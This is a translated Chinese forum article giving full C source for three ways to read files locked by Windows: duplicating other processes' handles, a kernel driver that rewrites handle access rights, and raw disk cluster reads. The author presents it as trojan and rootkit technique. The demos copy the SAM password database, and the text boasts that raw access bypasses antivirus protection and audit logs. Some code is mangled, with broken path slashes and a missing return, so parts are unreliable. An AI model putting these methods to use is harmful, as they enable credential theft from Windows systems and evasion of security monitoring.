天天看點

【翻譯】被占用檔案操作三法

标 題: 【翻譯】被占用檔案操作三法

作 者: libradohko

時 間: 2007-02-03,00:44

鍊 接: http://bbs.pediy.com/showthread.php?t=39001

被占用檔案操作三法

無 疑我們中的很多人都會遇到需要讀寫被其它程序占用的檔案的情況,比如說在編寫backup程式或是trojan的時候。能從系統中抽出SAM檔案,或是讀 取其它某些用标準方法無法成功通路的檔案顯然是件不錯的事情。比如說當用标志dwShareMode = 0打開檔案時,其它程序就不能對它進行通路了。 一個很好的例子就是網絡尋呼機程式Miranda。這個程式在自己工作的時候不允許别人打開自己的資料庫。假設我們需要寫一個這樣的木馬,它在感染機器後 從資料庫中竊走密碼,然後删除自身,這個時候就需要解決這個問題。是以我決定寫下這篇文章。文章篇幅不大,但裡面的内容可能會對某些人有益。那我們就開始 吧。

尋找打開檔案的句柄

如果檔案由某個程序打開,那麼這個程序就擁有了它的句柄。在我第二篇關于API攔截的文 章裡我講解了如何搜尋需要的句柄并用它打開程序,要通路已打開的檔案,我們也可以使用這種方法。我們需要使用 ZwQuerySystemInformation函數來枚舉句柄,将每一個句柄都用DuplicateHandle進行複制,确定句柄屬于那個檔案 (ZwQueryInformationFile),如果是要找的檔案,就将句柄拷貝。

這些在理論上都講得通,但在實踐中會遇到兩處難 點。第一,在對打開的named pipe(工作于block mode)的句柄調用ZwQueryInformationFile的時候,調用線程會等 待pipe中的消息,而pipe中卻可能沒有消息,也就是說,調用ZwQueryInformationFile的線程實際上永久性地挂起了。是以命名文 件的擷取不用在挑選句柄的主線程中進行,可以啟動獨立的線程并設定一個timeout值來避免挂起。第二,在拷貝句柄後,兩個句柄(我們程序的和打開檔案 程序的)将會指向同一個FileObject,進而目前的輸入輸出模式、在檔案中的位置以及其它與檔案相關的資訊就會由兩個程序來共享。這時,甚至隻是讀 取檔案都會引起讀取位置的改變,進而破壞了打開檔案程式的正常運作。為了避免這種情形,我們需要需要停止占用檔案程序的線程、儲存目前位置、拷貝檔案、恢 複目前位置以及重新啟動占用檔案的程序。這種方法不能用于許多情形,比如要在運作的系統中拷貝系統資料庫檔案,用這種方法就不會成功。

我們先來試着實作對系統中所有已打開檔案的句柄的枚舉。為枚舉句柄,每個句柄都由以下結構體描述:

typedef struct _SYSTEM_HANDLE

{

  ULONG       uIdProcess;

  UCHAR       ObjectType; 

  UCHAR       Flags;

  USHORT      Handle;

  POBJECT     pObject;

  ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

這 裡的ObjectType域定義了句柄所屬的對象類型。這裡我們又遇到了問題――File類型的ObjectType在Windows 2000、XP和 2003下的取值各不相同,是以我們不得不動态的定義這個值。為此我們用CreateFile來打開NUL裝置,找到它的句柄并記下它的類型:

UCHAR GetFileHandleType()

{

  HANDLE                     hFile;

  PSYSTEM_HANDLE_INFORMATION Info;

  ULONG                      r;

  UCHAR                      Result = 0;

  hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

  if (hFile != INVALID_HANDLE_VALUE)

  {

    Info = GetInfoTable(SystemHandleInformation);

    if (Info)

    {

      for (r = 0; r < Info->uCount; r++)

      {

        if (Info->aSH[r].Handle == (USHORT)hFile && 

                                    Info->aSH[r].uIdProcess == GetCurrentProcessId())

        {

          Result = Info->aSH[r].ObjectType;

          break;

        }

      }

      HeapFree(hHeap, 0, Info);

    }

    CloseHandle(hFile);

  }

  return Result;

}

現在知道了句柄的類型我們就可以枚舉系統中打開的檔案了。首先我們來用句柄擷取打開檔案的檔案名:

typedef struct _NM_INFO

{

  HANDLE  hFile;

  FILE_NAME_INFORMATION Info;

  WCHAR Name[MAX_PATH];

} NM_INFO, *PNM_INFO;

DWORD WINAPI 

  GetFileNameThread(PVOID lpParameter)

{

  PNM_INFO        NmInfo = lpParameter;

  IO_STATUS_BLOCK IoStatus;

  int r;

  NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info, 

                       sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);

  return 0;

}

void GetFileName(HANDLE hFile, PCHAR TheName)

{

  HANDLE   hThread;

  PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));

  Info->hFile = hFile;

  hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);

  if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);

  CloseHandle(hThread);

  memset(TheName, 0, MAX_PATH);

  WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);

  HeapFree(hHeap, 0, Info);

}

現在來枚舉打開的檔案:

void main()

{

  PSYSTEM_HANDLE_INFORMATION Info;

  ULONG                      r;

  CHAR                       Name[MAX_PATH];

  HANDLE                     hProcess, hFile;

  hHeap = GetProcessHeap();

  ObFileType = GetFileHandleType();

  Info = GetInfoTable(SystemHandleInformation);

  if (Info)

  {

    for (r = 0; r < Info->uCount; r++)

    {

      if (Info->aSH[r].ObjectType == ObFileType)

      {

        hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);

        if (hProcess)

        {

          if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,

                        GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))

          {

            GetFileName(hFile, Name);

            printf("%s/n", Name);

            CloseHandle(hFile);

          }

          CloseHandle(hProcess);

        }        

      }

    }  

    HeapFree(hHeap, 0, Info);

  }

}

現在對于檔案的拷貝我們剩下的工作隻是找到所需句柄後用ReadFile讀取它。這裡一定要使用前面提到的機制,不可疏忽。

這種方法的優點是實作簡單,但是其缺點更多,是以這個方法隻适用于确定檔案被那個程序占用。

修改句柄通路權限

所 有被占用的檔案通常都可以用讀屬性(FILE_READ_ATTRIBUTES)打開,這樣就可以讀取檔案的屬性,取得它的大小,枚舉 NTSF stream,但遺憾的是,ReadFile就不能成功調用了。打開檔案時各種通路屬性的差別在哪裡呢?顯然,打開檔案時,系統會記錄通路屬 性,之後會用這個屬性與請求的通路作比較。如果找到了系統儲存這個屬性的位置并修該掉它,那就不隻可以讀取,甚至可以寫入任何已打開的檔案。

在 使用者這一級别上我們并不是直接與檔案打交道,而是通過它的句柄(這個句柄指向FileObject),而函數ReadFile/WriteFile調用 ObReferenceObjectByHandle,并指明了相應的通路類型。由此我們可以得出結論,通路權限儲存在描述句柄的結構體裡。實際 上,HANDLE_TABLE_ENTRY結構體包含有一個GrantedAccess域,這個域不是别的,就是句柄的通路權限。遺憾的 是,Microsoft的程式員們沒有提供修改句柄通路權的API,是以我們不得不編寫驅動自己來做這項工作。

我在《隐藏程序檢測》一文 中講到過Windows 2000和XP的句柄表結構體,我想補充的隻有一點,就是Windows 2003中的句柄表與XP的完全一樣。與那篇文章不 同,我們這裡不需要枚舉表中的句柄,而隻需要找到某個具體的(已知的)句柄,我們不用管PspCidTable,而隻操作自己程序的句柄表,表的指針位于 程序的EPROCESS結構體裡(2000下的偏移為0x128,XP下的為0x0C4)。

為了取得句柄結構體指針需要調用未導出函數 ExpLookupHandleTableEntry,但我們不會去搜尋它,因為在導出函數中沒有對它的直接引用,搜尋結果也很不可靠,除此之外我們此時 還需要ExUnlockHandleTableEntry函數。最好的辦法就是編寫自己的句柄表lookup函數。考慮到Windows 2000與XP 下句柄表的差異,我們将編寫不同的函數。

首先是Windows 2000下的:

PHANDLE_TABLE_ENTRY

  Win2kLookupHandleTableEntry(

      IN PWIN2K_HANDLE_TABLE HandleTable,

      IN EXHANDLE            Handle

      )

{

    ULONG i, j, k;

    i = (Handle.Index >> 16) & 255;

    j = (Handle.Index >> 8)  & 255;

    k = (Handle.Index)       & 255;

    if (HandleTable->Table[i]) 

    {

        if (HandleTable->Table[i][j])

        {

            return &(HandleTable->Table[i][j][k]);

        }   

    }

    return NULL;    

}

這段代碼簡單易懂。因為句柄的值本身是個三維表的三個索引,是以我們隻需其中的各個部分并檢視表中相應的元素(當然如果存在的話)。因為Windows XP中的句柄表可以有一到三個級别,是以相應的lookup代碼就要更為複雜一些:

PHANDLE_TABLE_ENTRY

  XpLookupHandleTableEntry(

             IN PXP_HANDLE_TABLE HandleTable,

             IN EXHANDLE         Handle

             )

{

    ULONG i, j, k;

    PHANDLE_TABLE_ENTRY Entry = NULL;

    ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;

    i = (Handle.Index >> 17) & 0x1FF;

    j = (Handle.Index >> 9)  & 0x1FF;

    k = (Handle.Index)       & 0x1FF;

    switch (HandleTable->TableCode & TABLE_LEVEL_MASK)

    {

        case 0 :

          Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];

        break;

        case 1 :

          if (((PVOID *)TableCode)[j]) 

          {

             Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];      

          }

        break;

        case 2 :

          if (((PVOID *)TableCode)[i])

          if (((PVOID **)TableCode)[i][j])

          {

             Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];               

          }

        break;

    }

    return Entry;

}

我們看到,這段代碼中的句柄并不是ULONG型的值,而是EXHANDLE結構體:

typedef struct _EXHANDLE 

{

    union 

    {

        struct 

        {

            ULONG TagBits : 02;

            ULONG Index   : 30;

        };

        HANDLE GenericHandleOverlay;

    };

} EXHANDLE, *PEXHANDLE;

我們看到,句柄不知包含了表的索引,還包含了一個2 bit的标志。您可能已經察覺到,一個句柄可以有着幾種不同的意義,這一點與這樣一個事實有關,那就是并非句柄中所有的位都被使用到(依賴于在表中的級别)。這是Windows XP最具個性的特點。

現在我們就可以擷取句柄表中所需的元素了,該編寫為句柄設定所需通路屬性的函數了:

BOOLEAN SetHandleAccess(

                IN HANDLE      Handle,

                IN ACCESS_MASK GrantedAccess

                )

{

  PHANDLE_TABLE       ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);

  PHANDLE_TABLE_ENTRY Entry;

  EXHANDLE            ExHandle;

  ExHandle.GenericHandleOverlay = Handle;

  Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);

  if (Entry) Entry->GrantedAccess = GrantedAccess;

  return Entry > 0;

}

現在編寫驅動,設定句柄的通路屬性,通過DeviceIoControl向驅動傳遞句柄。代碼如下:

NTSTATUS DriverIoControl(

    IN PDEVICE_OBJECT DeviceObject,

    IN PIRP Irp)

{

    PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);

    NTSTATUS           status   = STATUS_UNSUCCESSFUL;

    ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;

    PUCHAR             pBuff    = Irp->AssociatedIrp.SystemBuffer;

    HANDLE             Handle;

    ACCESS_MASK        GrantedAccess;

    Irp->IoStatus.Information = 0;

    switch(pisl->Parameters.DeviceIoControl.IoControlCode)

    {

        case IOCTL1: 

            if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))

            {

                Handle        = *(HANDLE*)pBuff;

                GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));

                if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;

            }    

         break;

     }   

    Irp->IoStatus.Status = status;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return status;

}

NTSTATUS DriverCreateClose(

    IN PDEVICE_OBJECT DeviceObject,

    IN PIRP Irp)

{

    Irp->IoStatus.Information = 0;

    Irp->IoStatus.Status = STATUS_SUCCESS;

    IoCompleteRequest(Irp, IO_NO_INCREMENT);

    return STATUS_SUCCESS;

}

NTSTATUS DriverEntry(

            IN PDRIVER_OBJECT DriverObject,

            IN PUNICODE_STRING RegistryPath

            )

{

    PCWSTR   dDeviceName       = L"//Device//fread";

    PCWSTR   dSymbolicLinkName = L"//DosDevices//fread";

    NTSTATUS status;

    PDRIVER_DISPATCH *ppdd;

    RtlInitUnicodeString(&DeviceName,       dDeviceName);

    RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);

    switch (*NtBuildNumber)

    {

        case 2600:

            ObjectTableOffset = 0x0C4;

            ExLookupHandleTableEntry = XpLookupHandleTableEntry;

        break;

        case 2195:

            ObjectTableOffset = 0x128;

            ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;

        break;

        default: return STATUS_UNSUCCESSFUL;

    }

    status = IoCreateDevice(DriverObject, 

                            0, 

                            &DeviceName, 

                            FILE_DEVICE_UNKNOWN, 

                            0, 

                            TRUE, 

                            &deviceObject);

    if (NT_SUCCESS(status)) 

    {

        status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);

        if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);

        DriverObject->DriverUnload = DriverUnload;

    }

    ppdd = DriverObject->MajorFunction;

    ppdd [IRP_MJ_CREATE] =

    ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;

    ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;

    return status;

}

遺憾的是句柄結構體中的GrantedAccess域并沒有和檔案打開的屬性(GENERIC_READ、GENERIC_WRITE等)對應起來,是以在設定新的屬性時我們需要以下constants:

#define AC_GENERIC_READ        0x120089

#define AC_GENERIC_WRITE       0x120196

#define AC_DELETE              0x110080

#define AC_READ_CONTROL        0x120080

#define AC_WRITE_DAC           0x140080

#define AC_WRITE_OWNER         0x180080

#define AC_GENERIC_ALL         0x1f01ff

#define AC_STANDARD_RIGHTS_ALL 0x1f0080

為了使用這個驅動将SAM檔案拷貝到c盤根目錄,我們可以寫一個最簡單的程式:

#include <windows.h>

#include "hchange.h"

BOOLEAN SetHandleAccess(

             HANDLE Handle,  

             ACCESS_MASK GrantedAccess

             )

{

    HANDLE  hDriver;

    ULONG   Bytes;

    ULONG   Buff[2];

    BOOLEAN Result = FALSE;

    hDriver = CreateFile(".//haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

    if (hDriver != INVALID_HANDLE_VALUE)

    {

        Buff[0] = (ULONG)Handle;

        Buff[1] = GrantedAccess;

        Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);

        CloseHandle(hDriver);

    }

}

void main()

{

    HANDLE hFile, hDest;

    ULONG  Size, Bytes;

    PVOID  Data;

    CHAR   Name[MAX_PATH];

    GetSystemDirectory(Name, MAX_PATH);

    lstrcat(Name, "//config//SAM");

    hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,

                       NULL, OPEN_EXISTING, 0, 0);

    if (hFile != INVALID_HANDLE_VALUE)

    {

        if (SetHandleAccess(hFile, AC_GENERIC_READ))

        {

            Size = GetFileSize(hFile, NULL);

            Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

            if (Data)

            {

                ReadFile(hFile, Data, Size, &Bytes, NULL);

                hDest = CreateFile("c://SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

                if (hDest != INVALID_HANDLE_VALUE)

                {

                    WriteFile(hDest, Data, Size, &Bytes, NULL);

                    CloseHandle(hDest);

                }

                VirtualFree(Data, 0, MEM_RELEASE);

            }

        }

        CloseHandle(hFile);

    }

}

這個方法最大的缺陷就是強烈依賴于作業系統,而且還需要加載驅動程式,而這并不總是能實作的。但是從可靠性上來看,這種方法是最好的,是以我建議将其用在backup程式中(隻是要經過長期的測試和調試!)。因為這種方法有不能勝任的情形,我們轉入下一種方法。

使用直接硬碟通路讀取檔案

“直 接通路硬碟”這個想法當然很酷,但很快DOS程式設計愛好者們就會失望,這裡沒有硬體操作,因為微軟很關心我們的疾苦,提供了友善簡單的API,通過這些 API可以幾乎“直接地”操作硬碟。這樣大家就明白了吧,實際上我們是想以RAW模式打開volume,并按cluster來讀取檔案。希望大家沒有被吓 到:)

如果直接入手解決這個問題,就需要手動地分析檔案系統結構,這樣我們就需要編寫很多多餘的代碼,是以我們不會這樣去做,而是再一次 參考微軟偉大的手冊――MSDN。"Defragmenting Files "和"Disk Management Control Codes"部分 對于我們來說非常有用,那裡面有檔案系統驅動的控制代碼,這些代碼可以用在各種磁盤整理程式中。打開MSDN,無疑會發現,使用IOCTL代碼 FSCTL_GET_RETRIEVAL_POINTERS可以擷取檔案配置設定圖。也就是說我們隻需要借助于這個IOCTL就可以擷取被占用檔案的 cluster list并進行讀取。

用此代碼調用DeviceIoControl時,InputBuffer應該包含有 STARTING_VCN_INPUT_BUFFER結構體,這個結構體描述了檔案cluster鍊的首元素,函數成功執行後,OutputBuffer 将裝有RETRIEVAL_POINTERS_BUFFER結構體,這個結構體描述了配置設定圖。我們來詳細地看一下這個結構體:

typedef struct 

{  

   LARGE_INTEGER StartingVcn;

} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;

typedef struct RETRIEVAL_POINTERS_BUFFER 

{  

    DWORD ExtentCount;  

    LARGE_INTEGER StartingVcn;  

    struct 

    {    

        LARGE_INTEGER NextVcn;    

        LARGE_INTEGER Lcn;  

    } Extents[1];

} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

第 一個結構體很容易懂,我們隻需要向StartingVcn.QuadPart傳遞0,而第二個結構體的格式需要好好研究一下。第一個域 (ExtentCount)包含着結構體中Extents元素的數目。StartingVcn檔案第一個cluster鍊的鍊号。每一個Extents元 素都包含有一個NextVcn,其含有鍊中cluser的數目,而Lcn――其第一個cluster的cluster号。也就是說所傳回的資訊就是 cluster鍊的描述符,其中每一個鍊都包含有某些個cluster。

現在傳回資訊的結構體的含義就已經明了了,到了編寫函數的時候了,這個函數擷取檔案完整的cluster list并将其整理為數組形式。

ULONGLONG *GetFileClusters(

                    PCHAR lpFileName,

                    ULONG ClusterSize, 

                    ULONG *ClCount,

                    ULONG *FileSize 

                    )

{

    HANDLE  hFile;

    ULONG   OutSize;

    ULONG   Bytes, Cls, CnCount, r;

    ULONGLONG *Clusters = NULL;

    BOOLEAN Result = FALSE;

    LARGE_INTEGER PrevVCN, Lcn;

    STARTING_VCN_INPUT_BUFFER  InBuf;

    PRETRIEVAL_POINTERS_BUFFER OutBuf;

    hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,

                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,

                       NULL, OPEN_EXISTING, 0, 0);

    if (hFile != INVALID_HANDLE_VALUE)

    {

        *FileSize = GetFileSize(hFile, NULL);

        OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents);

        OutBuf = malloc(OutSize);

        InBuf.StartingVcn.QuadPart = 0;

        if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf, 

                            sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))

        {

            *ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;

            Clusters = malloc(*ClCount * sizeof(ULONGLONG));

            PrevVCN = OutBuf->StartingVcn;

            for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)

            {

                Lcn = OutBuf->Extents[r].Lcn;

                for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;

                     CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;

                PrevVCN = OutBuf->Extents[r].NextVcn;

            }

        }

        free(OutBuf);  

        CloseHandle(hFile);

    }

    return Clusters;

}

函數完成後我們就得到了描述檔案clusters的數組以及clusters的數目,現在可以很容易地拷貝檔案了:

void FileCopy(

        PCHAR lpSrcName,

        PCHAR lpDstName

        )

{

    ULONG         ClusterSize, BlockSize;

    ULONGLONG    *Clusters;

    ULONG         ClCount, FileSize, Bytes;

    HANDLE        hDrive, hFile;

    ULONG         SecPerCl, BtPerSec, r;

    PVOID         Buff;

    LARGE_INTEGER Offset;

    CHAR          Name[7];

    Name[0] = lpSrcName[0];

    Name[1] = ':';

    Name[2] = 0;

    GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);

    ClusterSize = SecPerCl * BtPerSec;

    Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);

    if (Clusters)

    {

        Name[0] = '//';

        Name[1] = '//';

        Name[2] = '.';

        Name[3] = '//';

        Name[4] = lpSrcName[0];

        Name[5] = ':';

        Name[6] = 0;

        hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

        if (hDrive != INVALID_HANDLE_VALUE)

        {

            hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

            if (hFile != INVALID_HANDLE_VALUE)

            {

                Buff = malloc(ClusterSize);

                for (r = 0; r < ClCount; r++, FileSize -= BlockSize)

                {

                    Offset.QuadPart = ClusterSize * Clusters[r];

                    SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);

                    ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);

                    BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;

                    WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);

                }

                free(Buff);

                CloseHandle(hFile);

            }

            CloseHandle(hDrive);

        }

        free(Clusters);

    }

}

文章到這裡其實就結束了,現在要拷貝SAM簡直易如反掌:)。在配套的示例中有将SAM拷貝到指令行指定的檔案中的代碼。

無 疑,這種方法形式簡單而功能強大,但遺憾的是它有着本質上的缺陷。這種方法隻能用來讀取以FILE_READ_ATTRIBUTES屬性打開的檔案,檔案 不能壓縮,不能加密,而且應該有自己的cluster(在NTFS下小檔案可以整個放在MFT裡)。同時要考慮到,在讀取檔案時檔案可能被修改。

我 想,如何與底層檔案系統打交道大家都已經明白了。這個方法為rootkit提供了諸多的便利。系統裡有保護檔案不被修改的程式(比如說反病毒軟體),但是 擁有了以RAW模式打開volume的權限之後,這些就形同虛設。再有,好的管理者會在自己的server上将重要檔案的讀寫記錄入日志檔案,而直接通路 是逃不過日志記錄的。要實作對檔案的完全通路就不得不編寫自己的NTFS驅動了。

附錄:

示例程式

henum.rar (56 kb)  枚舉打開的檔案的例子

samcopy.rar (11 kb)  在句柄表中修改通路權限拷貝SAM的例子

RawRead.rar (9 kb)  使用直接通路讀取SAM的例子。

[C] Ms-Rem

http://wasm.ru/article.php?article=lockfileswork

 原文位址 http://blog.csdn.net/albertli/archive/2007/11/25/1901770.aspx